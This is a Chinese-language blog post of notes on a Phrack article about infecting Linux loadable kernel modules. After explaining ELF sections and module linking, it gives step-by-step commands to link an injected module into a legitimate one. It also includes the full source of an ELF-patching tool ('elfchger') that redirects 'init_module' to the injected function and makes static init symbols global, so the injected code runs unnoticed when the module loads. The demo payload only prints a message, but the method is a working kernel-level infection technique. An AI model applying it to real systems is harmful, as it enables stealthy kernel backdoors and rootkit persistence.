Infecting loadable kernel modules 笔记

来源:互联网 发布:ransac算法详解 编辑:程序博客网 时间:2024/05/19 04:28

phrack 68期 Infecting loadable kernel modules 笔记

源文章:http://www.phrack.org/issues.html?issue=68&id=11#article


一。ELF文件格式与内核模块链接机制
1.对于内核模块来说,主要包括了ELF格式中的三个部分(按文件中的存储顺序):ELF header, sections, section header table.

  Linux Kernel Module View              
  ======================== 
  ELF header                      
  Section 1                    
  ...                             
  Section n                  
  Section header table

 
相关的sections:

.strtab:该section 保存的是section和symbol的名称字符串,各字符串以'\0'结尾。

.symtab:符号信息表, 包括符号的地址,作用域等信息。

.gnu.linkonce.this_module:保存了struct module结构,如果模块使用module_init,module_exit定义初始化和清理函数的话,那么该结构中的init函数和exit函数就会有定义。

2.内核模块链接机制
/*orig.c*/
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/errno.h>

MODULE_LICENSE("GPL");

int init(void) {

    printk(KERN_ALERT "Init Original!");

    return 0;
}

void clean(void) {

    printk(KERN_ALERT "Exit Original!");

    return;
}

module_init(init);
module_exit(clean);
 
 
/*evil.c*/
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/errno.h>

MODULE_LICENSE("GPL");

int evil(void) {

    printk(KERN_ALERT "Init Inject!");

    return 0;
}

/*Makefile*/
obj-m += orig.o evil.o

KDIR    := /lib/modules/$(shell uname -r)/build
PWD    := $(shell pwd)

default:
        $(MAKE) -C $(KDIR) SUBDIRS=$(PWD) modules

clean:
        $(MAKE) -C $(KDIR) SUBDIRS=$(PWD) clean

  

根据Makefile,orig.c和evil.c会编译为两个.ko的内核模块。

编译时每个模块都会生成对应的XXX.mod.c文件, 该文件中定义了struct module结构并指定放入.gnu.linkonce.this_module段中。
以orig.mod.c为例
/*orig.mod.c*/
struct module __this_module
__attribute__((section(".gnu.linkonce.this_module"))) = {
 .name = KBUILD_MODNAME,
 .init = init_module,      
#ifdef CONFIG_MODULE_UNLOAD
 .exit = cleanup_module,
#endif
 .arch = MODULE_ARCH_INIT,
};
init,exit函数统一赋值为init_module, cleanup_module函数。

static const struct modversion_info ____versions[]
__used
__attribute__((section("__versions"))) = {
        { 0x83df6f39, "struct_module" },
        { 0x1b7d4074, "printk" },
};

static const char __module_depends[]
__used
__attribute__((section(".modinfo"))) =
"depends=";

init_module, cleanup_module函数并没有定义,所以编译后的orig.mod.o文件为

objdump -t orig.mod.o

orig.mod.o:     file format elf32-i386

SYMBOL TABLE:
00000000 l    df *ABS*  00000000 orig.mod.c
00000000 l    d  .text  00000000 .text
00000000 l    d  .data  00000000 .data
00000000 l    d  .bss   00000000 .bss
00000000 l    d  .gnu.linkonce.this_module      00000000 .gnu.linkonce.this_module
00000000 l    d  .modinfo       00000000 .modinfo
00000000 l     O .modinfo       00000009 __module_depends
00000000 l    d  __versions     00000000 __versions
00000000 l     O __versions     00000080 ____versions
00000020 l     O .modinfo       00000036 __mod_vermagic5
00000000 l    d  .note.GNU-stack        00000000 .note.GNU-stack
00000000 l    d  .comment       00000000 .comment
00000000 g     O .gnu.linkonce.this_module      00000240 __this_module
00000000         *UND*  00000000 init_module
00000000         *UND*  00000000 cleanup_module

可以看到 init_module cleanup_module是未定义符号。

这两个符号定义在何处?看module_init module_exit的定义
#ifndef MODULE

[...]

#else /* MODULE */

[...]

/* Each module must use one module_init(). */
#define module_init(initfn)                                     \
        static inline initcall_t __inittest(void)               \
        { return initfn; }                                      \
        int init_module(void) __attribute__((alias(#initfn)));

/* This is only required if you want to be unloadable. */
#define module_exit(exitfn)                                     \
        static inline exitcall_t __exittest(void)               \
        { return exitfn; }                                      \
        void cleanup_module(void) __attribute__((alias(#exitfn)));

[...]

#endif /*MODULE*/

这里module_init和module_exit宏函数将initfn和exitfn 分别定义了两个别名init_module和cleanup_module,这样在链接的时候就能找到init_module和cleanup_module了。

objdump -t orig.ko

orig.ko:     file format elf32-i386

SYMBOL TABLE:
00000000 l    d  .note.gnu.build-id     00000000 .note.gnu.build-id
00000000 l    d  .text  00000000 .text
00000000 l    d  .rodata.str1.1 00000000 .rodata.str1.1
00000000 l    d  .modinfo       00000000 .modinfo
00000000 l    d  __versions     00000000 __versions
00000000 l    d  .data  00000000 .data
00000000 l    d  .gnu.linkonce.this_module      00000000 .gnu.linkonce.this_module
00000000 l    d  .bss   00000000 .bss
00000000 l    d  .comment       00000000 .comment
00000000 l    d  .note.GNU-stack        00000000 .note.GNU-stack
00000000 l    df *ABS*  00000000 orig.c
00000000 l     O .modinfo       0000000c __mod_license6
00000000 l    df *ABS*  00000000 orig.mod.c
00000020 l     O .modinfo       00000009 __module_depends
00000000 l     O __versions     00000080 ____versions
00000040 l     O .modinfo       00000036 __mod_vermagic5
00000000 g     O .gnu.linkonce.this_module      00000240 __this_module
00000000 g     F .text  0000000c cleanup_module
0000000c g     F .text  0000000e init_module
00000000 g     F .text  0000000c clean
00000000         *UND*  00000000 printk
0000000c g     F .text  0000000e init

可以看到init_module的地址为0000000c与init是一样的.
(printk符号的未定义在内核加载模块时会被解决)

二。简单的例子


假设orig.ko是正常的系统模块,evil.ko是我们编写的用来感染的模块
目标:感染orig.ko模块,系统在加载该时,会能调用evil.ko中的函数。

ld -r orig.ko evil.ko -o new.ko              //orig.ko一定要放在前面, 否则是就是orig.ko链接到evil.ko里面了,加载后会出来一个evil的模块。。。

objdump -t new.ko

new.ko:     file format elf32-i386

SYMBOL TABLE:
00000000 l    d  .note.gnu.build-id     00000000 .note.gnu.build-id
00000000 l    d  .text  00000000 .text
00000000 l    d  .rodata.str1.1 00000000 .rodata.str1.1
00000000 l    d  .modinfo       00000000 .modinfo
00000000 l    d  __versions     00000000 __versions
00000000 l    d  .data  00000000 .data
00000000 l    d  .gnu.linkonce.this_module      00000000 .gnu.linkonce.this_module
00000000 l    d  .bss   00000000 .bss
00000000 l    d  .comment       00000000 .comment
00000000 l    d  .note.GNU-stack        00000000 .note.GNU-stack
00000000 l    df *ABS*  00000000 orig.c
00000000 l     O .modinfo       0000000c __mod_license6
00000000 l    df *ABS*  00000000 orig.mod.c
00000020 l     O .modinfo       00000009 __module_depends
00000000 l     O __versions     00000080 ____versions
00000040 l     O .modinfo       00000036 __mod_vermagic5
00000000 l    df *ABS*  00000000 evil.c
00000080 l     O .modinfo       0000000c __mod_license6
00000000 l    df *ABS*  00000000 evil.mod.c
000000a0 l     O .modinfo       00000009 __module_depends
00000080 l     O __versions     00000080 ____versions
000000c0 l     O .modinfo       00000036 __mod_vermagic5
0000001c g     F .text  0000000e evil
00000000 g     O .gnu.linkonce.this_module      00000240 __this_module
00000000 g     F .text  0000000c cleanup_module
0000000c g     F .text  0000000e init_module
00000000 g     F .text  0000000c clean
00000000         *UND*  00000000 printk
0000000c g     F .text  0000000e init


将orig.ko和evil.ko链接到一起,此时init_module的地址为0000000c,与init是一样的.
用elfchger工具把它改成evil的地址。。。
 ./tools/elfchger -s init_module -v 0000001c new.ko
[+] Opening new.ko file...
[+] Reading Elf header...
        >> Done!
[+] Finding ".symtab" section...
        >> Found at 0x8ac
[+] Finding ".strtab" section...
        >> Found at 0x8d4
[+] Getting symbol' infos:
        >> Symbol found at 0xacc
        >> Index in symbol table: 0x1a
[+] Replacing 0x0000001c with 0x00000000... done!

objdump -t new.ko

new.ko:     file format elf32-i386

SYMBOL TABLE:
00000000 l    d  .note.gnu.build-id     00000000 .note.gnu.build-id
00000000 l    d  .text  00000000 .text
00000000 l    d  .rodata.str1.1 00000000 .rodata.str1.1
00000000 l    d  .modinfo       00000000 .modinfo
00000000 l    d  __versions     00000000 __versions
00000000 l    d  .data  00000000 .data
00000000 l    d  .gnu.linkonce.this_module      00000000 .gnu.linkonce.this_module
00000000 l    d  .bss   00000000 .bss
00000000 l    d  .comment       00000000 .comment
00000000 l    d  .note.GNU-stack        00000000 .note.GNU-stack
00000000 l    df *ABS*  00000000 orig.c
00000000 l     O .modinfo       0000000c __mod_license6
00000000 l    df *ABS*  00000000 orig.mod.c
00000020 l     O .modinfo       00000009 __module_depends
00000000 l     O __versions     00000080 ____versions
00000040 l     O .modinfo       00000036 __mod_vermagic5
00000000 l    df *ABS*  00000000 evil.c
00000080 l     O .modinfo       0000000c __mod_license6
00000000 l    df *ABS*  00000000 evil.mod.c
000000a0 l     O .modinfo       00000009 __module_depends
00000080 l     O __versions     00000080 ____versions
000000c0 l     O .modinfo       00000036 __mod_vermagic5
0000001c g     F .text  0000000e evil
00000000 g     O .gnu.linkonce.this_module      00000240 __this_module
00000000 g     F .text  0000000c cleanup_module
0000001c g     F .text  0000000e init_module
00000000 g     F .text  0000000c clean
00000000         *UND*  00000000 printk
0000000c g     F .text  0000000e init

地址已经更改,然后insmod new.ko
dmesg
得到Init Inject! 内核消息, evil已被调用。

三。调用初始化函数
上面已经成功感染了一个模块, 但做法比较简单, 感染是直接用evil来替换原来的初始化函数,也就是说原来的模块无法正常运行了,这就太明显了。。。
接下来是解决如何由evil来调用模块原来的初始化函数, 特别是静态的初始化函数。

实际的模块中一般将初始化函数和退出函数都定义为static, 我们也修改orig.c将init和exit都改为static,
/*orig.c*/
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/errno.h>

MODULE_LICENSE("GPL");

static int init(void) {

    printk(KERN_ALERT "111Init Original!");

    return 0;
}

static void clean(void) {
    printk(KERN_ALERT "Exit Original!");

    return;
}

module_init(init);
module_exit(clean);

编译后:
readelf -a orig.o
Symbol table '.symtab' contains 15 entries:
   Num:    Value  Size Type    Bind   Vis      Ndx Name
     0: 00000000     0 NOTYPE  LOCAL  DEFAULT  UND
     1: 00000000     0 FILE    LOCAL  DEFAULT  ABS orig.c
     2: 00000000     0 SECTION LOCAL  DEFAULT    1
     3: 00000000     0 SECTION LOCAL  DEFAULT    3
     4: 00000000     0 SECTION LOCAL  DEFAULT    4
     5: 00000000     0 SECTION LOCAL  DEFAULT    5
     6: 00000000    12 FUNC    LOCAL  DEFAULT    1 clean
     7: 0000000c    14 FUNC    LOCAL  DEFAULT    1 init
     8: 00000000     0 SECTION LOCAL  DEFAULT    6
     9: 00000000    12 OBJECT  LOCAL  DEFAULT    6 __mod_license6
    10: 00000000     0 SECTION LOCAL  DEFAULT    8
    11: 00000000     0 SECTION LOCAL  DEFAULT    7
    12: 00000000     0 NOTYPE  GLOBAL DEFAULT  UND printk
    13: 0000000c    14 FUNC    GLOBAL DEFAULT    1 init_module
    14: 00000000    12 FUNC    GLOBAL DEFAULT    1 cleanup_module

init与clean被定义为static , 所以其为本地可见,无法被外部其他对象链接了。

在evil函数中显式调用init函数,但此时evil.ko中init的是未定义的。
/*evil.c*/
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/errno.h>

MODULE_LICENSE("GPL");

extern int init(void);

int evil(void) {
  init();
  printk(KERN_ALERT "111Init Inject!");
  return 0;
}

需要修改orig.ko中的init 与clean 函数 修改为全局,然后重新按上面步骤链接,就OK了。

make;
./tools/elfchger -g init orig.ko
修改init符号为全局
make
ld -r orig.ko evil.ko -o new.ko
./tools/elfchger -s init_module -v 0000001c new.ko
insmod
输出Init Original! Init Inject!都被调用了。

 

四。调用__init 修饰的初始化函数

__init 修饰后  代码会放置在.init.text段中, 解决方法很简单 evil也定义为__init类型, 这样在同一段中,然后按上面的步骤就可以。

 

工具代码,32位平台的, 基本就是解析,修改ELF文件。
/*
 * elfchger.c by styx^ <the.styx@gmail.com> (based on truff's code)
 *
 * Script with two features:
 *
 * Usage 1: Change the symbol name value (address) in a kernel module.
 * Usage 2: Change the symbol binding (from local to global) in a kernel
 *          module.
 *
 * Usage:
 * 1: ./elfchger -f [symbol] -v [value] <module_name>
 * 2: ./elfchger -g [symbol] <module_name>
 */

#include <stdlib.h>
#include <stdio.h>
#include <elf.h>
#include <string.h>
#include <getopt.h>

int ElfGetSectionByName (FILE *fd, Elf32_Ehdr *ehdr, char *section,
                         Elf32_Shdr *shdr);

int ElfGetSectionName (FILE *fd, Elf32_Word sh_name,
                       Elf32_Shdr *shstrtable, char *res, size_t len);

Elf32_Off ElfGetSymbolByName (FILE *fd, Elf32_Shdr *symtab,
                       Elf32_Shdr *strtab, char *name, Elf32_Sym *sym);

void ElfGetSymbolName (FILE *fd, Elf32_Word sym_name,
                       Elf32_Shdr *strtable, char *res, size_t len);

unsigned long ReorderSymbols (FILE *fd, Elf32_Shdr *symtab,
                       Elf32_Shdr *strtab, char *name);

int ReoderRelocation(FILE *fd, Elf32_Shdr *symtab,
                       Elf32_Shdr *strtab, char *name, Elf32_Sym *sym);

int ElfGetSectionByIndex (FILE *fd, Elf32_Ehdr *ehdr, Elf32_Half index,
                          Elf32_Shdr *shdr);

void usage(char *cmd);

int main (int argc, char **argv) {

  FILE *fd;
  Elf32_Ehdr hdr;
  Elf32_Shdr symtab, strtab;
  Elf32_Sym sym;
  Elf32_Off symoffset;
  Elf32_Addr value;

  unsigned long new_index = 0;
  int gflag = 0, vflag = 0, fflag = 0;
  char *sym_name;
  int sym_value = 0;

  long sym_off, str_off;
  int opt;

  if ( argc != 4 && argc != 6 ) {
    usage(argv[0]);
    exit(-1);
  }

  while ((opt = getopt(argc, argv, "vsg")) != -1) {

    switch (opt) {

      case 'g':

        if( argc-1 < optind) {
     printf("[-] You must specify symbol name!\n");
     usage(argv[0]);
     exit(-1);
        }

        gflag = 1;
        sym_name = argv[optind];

        break;

      case 's':

        if( argc-1 < optind) {
          printf("[-] You must specify symbol name!\n");
          usage(argv[0]);
          exit(-1);
        }

        fflag = 1;
        sym_name = argv[optind];

        break;

      case 'v':

        if( argc-1 < optind) {
          printf("[-] You must specify new symbol address\n");
          usage(argv[0]);
          exit(-1);
        }

        vflag = 1;
        sym_value = strtol(argv[optind], (char **) NULL, 16);

        break;

      default:
        usage(argv[0]);
        exit(-1);
    }
  }

  printf("[+] Opening %s file...\n", argv[argc-1]);

  fd = fopen (argv[argc-1], "r+");

  if (fd == NULL) {

    printf("[-] File \"%s\" not found!\n", argv[1]);
    exit(-1);
  }

  printf("[+] Reading Elf header...\n");

  if (fread (&hdr, sizeof (Elf32_Ehdr), 1, fd) < 1) {

    printf("[-] Elf header corrupted!\n");
    exit(-1);
  }

  printf("\t>> Done!\n");

  printf("[+] Finding \".symtab\" section...\n");

  sym_off = ElfGetSectionByName (fd, &hdr, ".symtab", &symtab);

  if (sym_off == -1) {

    printf("[-] Can't get .symtab section\n");
    exit(-1);
  }

  printf("\t>> Found at 0x%x\n", (int )sym_off);
  printf("[+] Finding \".strtab\" section...\n");

  str_off = ElfGetSectionByName (fd, &hdr, ".strtab", &strtab);

  if (str_off  == -1) {

    printf("[-] Can't get .strtab section!\n");
    exit(-1);
  }

  printf("\t>> Found at 0x%x\n", (int )str_off);

  printf("[+] Getting symbol' infos:\n");

  symoffset = ElfGetSymbolByName (fd, &symtab, &strtab, sym_name, &sym);

  if ( (int) symoffset == -1) {

    printf("[-] Symbol \"%s\" not found!\n", sym_name);
    exit(-1);
  }

  if ( gflag == 1 ) {

    if ( ELF32_ST_BIND(sym.st_info) == STB_LOCAL ) {

      unsigned char global;
      unsigned long offset = 0;

      printf("[+] Reordering symbols:\n");

      new_index = ReorderSymbols(fd, &symtab, &strtab, sym_name);

      printf("[+] Updating symbol' infos:\n");

      symoffset = ElfGetSymbolByName(fd, &symtab, &strtab, sym_name, &sym);

      if ( (int) symoffset == -1) {

        printf("[-] Symbol \"%s\" not found!\n", sym_name);
        exit(-1);
      }

      offset = symoffset+1+sizeof(Elf32_Addr)+1+sizeof(Elf32_Word)+2;

      printf("\t>> Replacing flag 'LOCAL' located at 0x%x with 'GLOBAL'\
              \n", (unsigned int)offset);

      if (fseek (fd, offset, SEEK_SET) == -1) {

        perror("[-] fseek: ");
        exit(-1);
      }

      global = ELF32_ST_INFO(STB_GLOBAL, STT_FUNC);

      if (fwrite (&global, sizeof(unsigned char), 1, fd) < 1) {

        perror("[-] fwrite: ");
        exit(-1);
      }

      printf("[+] Updating symtab infos at 0x%x\n", (int )sym_off);

      if ( fseek(fd, sym_off, SEEK_SET) == -1 ) {

        perror("[-] fseek: ");
        exit(-1);
      }

      symtab.sh_info = new_index; // updating sh_info with the new index
                                  // in symbol table.

      if( fwrite(&symtab, sizeof(Elf32_Shdr), 1, fd) < 1 )  {

        perror("[-] fwrite: ");
        exit(-1);
      }

    } else {

      printf("[-] Already global function!\n");
    }

  } else if ( fflag == 1 && vflag == 1 ) {

      memset(&value, 0, sizeof(Elf32_Addr));
      memcpy(&value, &sym_value, sizeof(Elf32_Addr));

      printf("[+] Replacing 0x%.8x with 0x%.8x... ", sym.st_value, value);

      if (fseek (fd, symoffset+sizeof(Elf32_Word), SEEK_SET) == -1) {

        perror("[-] fseek: ");
        exit(-1);
      }

      if (fwrite (&value, sizeof(Elf32_Addr), 1, fd) < 1 )  {

        perror("[-] fwrite: ");
        exit(-1);
      }

      printf("done!\n");

      fclose (fd);
}

return 0;
}

/* This function returns the offset relative to the symbol name "name" */

Elf32_Off ElfGetSymbolByName(FILE *fd, Elf32_Shdr *symtab,
        Elf32_Shdr *strtab, char *name, Elf32_Sym *sym) {

  unsigned int i;
  char symname[255];

  for ( i = 0; i < (symtab->sh_size/symtab->sh_entsize); i++) {

    if (fseek (fd, symtab->sh_offset + (i * symtab->sh_entsize),
               SEEK_SET) == -1) {

      perror("\t[-] fseek: ");
      exit(-1);
    }

    if (fread (sym, sizeof (Elf32_Sym), 1, fd) < 1) {

      perror("\t[-] read: ");
      exit(-1);
    }

    memset (symname, 0, sizeof (symname));

    ElfGetSymbolName (fd, sym->st_name, strtab, symname, sizeof (symname));

    if (!strcmp (symname, name)) {

      printf("\t>> Symbol found at 0x%x\n",
                    symtab->sh_offset + (i * symtab->sh_entsize));

      printf("\t>> Index in symbol table: 0x%x\n", i);

      return symtab->sh_offset + (i * symtab->sh_entsize);
    }
  }

  return -1;
}

/* This function returns the new index of symbol "name" inside the symbol
 * table after re-ordering. */

unsigned long ReorderSymbols (FILE *fd, Elf32_Shdr *symtab,
              Elf32_Shdr *strtab, char *name) {

  unsigned int i = 0, j = 0;
  char symname[255];
  Elf32_Sym *all;
  Elf32_Sym temp;
  unsigned long new_index = 0;
  unsigned long my_off = 0;

  printf("\t>> Starting:\n");

  all = (Elf32_Sym *) malloc(sizeof(Elf32_Sym) *
                      (symtab->sh_size/symtab->sh_entsize));

  if ( all == NULL ) {

    return -1;

  }

  memset(all, 0, symtab->sh_size/symtab->sh_entsize);

  my_off = symtab->sh_offset;

  for ( i = 0; i < (symtab->sh_size/symtab->sh_entsize); i++) {

    if (fseek (fd, symtab->sh_offset + (i * symtab->sh_entsize),
        SEEK_SET) == -1) {

      perror("\t[-] fseek: ");
      exit(-1);
    }

    if (fread (&all[i], sizeof (Elf32_Sym), 1, fd) < 1) {

      printf("\t[-] fread: ");
      exit(-1);
    }

    memset (symname, 0, sizeof (symname));

    ElfGetSymbolName(fd, all[i].st_name, strtab, symname, sizeof(symname));

    if (!strcmp (symname, name)) {

      j = i;

      continue;
    }
  }

  temp = all[j];

  for ( i = j; i < (symtab->sh_size/symtab->sh_entsize); i++ ) {

    if ( i+1 >= symtab->sh_size/symtab->sh_entsize )
      break;

    if ( ELF32_ST_BIND(all[i+1].st_info) == STB_LOCAL ) {

      printf("\t>> Moving symbol from %x to %x\n", i+1, i);

      all[i] = all[i+1];

    } else {

      new_index = i;

      printf("\t>> Moving our symbol from %d to %x\n", j, i);

      all[i] = temp;
      break;
    }
  }

  printf("\t>> Last LOCAL symbol: 0x%x\n", (unsigned int)new_index);

  if ( fseek (fd, my_off, SEEK_SET) == -1 ) {

      perror("\t[-] fseek: ");
      exit(-1);
  }

  if ( fwrite(all, sizeof( Elf32_Sym), symtab->sh_size/symtab->sh_entsize,
              fd) < (symtab->sh_size/symtab->sh_entsize )) {

      perror("\t[-] fwrite: ");
      exit(-1);
  }

  printf("\t>> Done!\n");

  free(all);

  return new_index;
}


int ElfGetSectionByIndex (FILE *fd, Elf32_Ehdr *ehdr, Elf32_Half index,
                          Elf32_Shdr *shdr) {

  if (fseek (fd, ehdr->e_shoff + (index * ehdr->e_shentsize),
             SEEK_SET) == -1) {

    perror("\t[-] fseek: ");
    exit(-1);
  }

  if (fread (shdr, sizeof (Elf32_Shdr), 1, fd) < 1) {

    printf("\t[-] Sections header corrupted");
    exit(-1);
  }

  return 0;
}


int ElfGetSectionByName (FILE *fd, Elf32_Ehdr *ehdr, char *section,
                         Elf32_Shdr *shdr) {

  int i;
  char name[255];
  Elf32_Shdr shstrtable;

  ElfGetSectionByIndex (fd, ehdr, ehdr->e_shstrndx, &shstrtable);

  memset (name, 0, sizeof (name));

  for ( i = 0; i < ehdr->e_shnum; i++) {

    if (fseek (fd, ehdr->e_shoff + (i * ehdr->e_shentsize),
               SEEK_SET) == -1) {

      perror("\t[-] fseek: ");
      exit(-1);
    }

    if (fread (shdr, sizeof (Elf32_Shdr), 1, fd) < 1) {

      printf("[-] Sections header corrupted");
      exit(-1);
    }

    ElfGetSectionName (fd, shdr->sh_name, &shstrtable,
                       name, sizeof (name));

    if (!strcmp (name, section)) {

      return ehdr->e_shoff + (i * ehdr->e_shentsize);

    }
  }

  return -1;
}

int ElfGetSectionName (FILE *fd, Elf32_Word sh_name,
                       Elf32_Shdr *shstrtable, char *res, size_t len) {

  size_t i = 0;

  if (fseek (fd, shstrtable->sh_offset + sh_name, SEEK_SET) == -1) {

    perror("\t[-] fseek: ");
    exit(-1);
  }

  while ( (i < len-1) || *res != '\0' ) {

    *res = fgetc (fd);
    i++;
    res++;

  }

  return 0;
}


void ElfGetSymbolName (FILE *fd, Elf32_Word sym_name,
                       Elf32_Shdr *strtable, char *res, size_t len)
{
  size_t i = 0;

  if (fseek (fd, strtable->sh_offset + sym_name, SEEK_SET) == -1) {

    perror("\t[-] fseek: ");
    exit(-1);
  }

  while ((i < len-1) || *res != '\0') {

    *res = fgetc (fd);
    i++;
    res++;

  }

  return;
}

void usage(char *cmd) {

  printf("Usage: %s <option(s)> <module_name>\n", cmd);
  printf("Option(s):\n");
  printf(" -g [symbol]\tSymbol we want to change the binding as global\n");
  printf("Or:\n");
  printf(" -s [symbol]\tSymbol we want to change the value (address)\n");
  printf(" -v [value] \tNew value (address) for symbol\n");

  return;
}